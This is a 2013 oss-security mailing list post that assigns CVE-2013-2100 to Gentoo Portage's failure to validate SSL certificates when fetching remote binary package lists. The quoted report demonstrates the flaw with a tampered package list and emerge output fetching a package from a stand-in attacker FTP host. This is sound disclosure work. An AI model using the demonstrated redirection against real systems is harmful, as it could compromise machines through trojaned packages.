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Date: Wed, 15 May 2013 19:45:39 -0600
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
CC: "Jason A. Donenfeld" <Jason@...c4.com>,
        Gentoo Security <security@...too.org>, zx2c4@...too.org
Subject: Re: CVE Request: Man in the middle on Gentoo Portage
 binary package installer

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On 05/15/2013 04:46 AM, Jason A. Donenfeld wrote:
> Hi Kurt,
> 
> Portage is the package manager of Gentoo Linux. It supports many 
> features, one of which is the ability to synchronize against a
> remote list of binary packages, and use that list to determine
> where to fetch such binary packages. One of the fields in this list
> of packages is URI:
> 
> victim # curl -s -k https://portage-build.zx2c4.com/Packages | grep
> URI: URI: ftp://horrible.attacker.somewhere.on.the.internet/blah
> 
> victim # emerge -1 portage-utils Calculating dependencies... done!
> 
>>>> Emerging binary (1 of 1) app-portage/portage-utils-0.30 from
>>>> gentoo
> --2013-05-15 12:33:32-- 
> ftp://horrible.attacker.somewhere.on.the.internet/blah/app-portage/portage-utils-0.30.tbz2
>
> 
=> ‘/usr/portage/packages/app-portage/portage-utils-0.30.tbz2’
> Resolving horrible.attacker.somewhere.on.the.internet...
> 
> Over insecure connections, Portage provides the ability to use
> HTTPS (in addition to SFTP and SSH), so that this remote list of
> binary packages is not tampered with. This list of binary packages
> will be downloaded in the background silently. Unfortunately,
> Portage does not validate the SSL certificates, leaving this open
> to a trivial man in the middle attack. An attacker could leverage
> this man in the middle vector to remotely gain complete control
> over a victim's machine, since Portage runs with essentially full
> permissions.
> 
> I reported this to the maintainer of Portage in Gentoo Bug #469888 
> [1], and it was fixed in commit b5969af9f5 [2].
> 
> Do note that while this commit solves the immediate problem with 
> fetching /Packages, as detailed above, there may be other
> additional unconfirmed insecure uses of the vulnerable urlopen()
> function that have not yet been analyzed or fixed.
> 
> Thanks, Jason
> 
> 
> [1] https://bugs.gentoo.org/show_bug.cgi?id=469888 [2]
> http://git.overlays.gentoo.org/gitweb/?p=proj/portage.git;a=commit;h=b5969af9f575e4e4b669f44e76ad01f0dbc2dd27
>
> 
Yeah SSL with no certificate checks is not so good.

Please use CVE-2013-2100 for this issue.


- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
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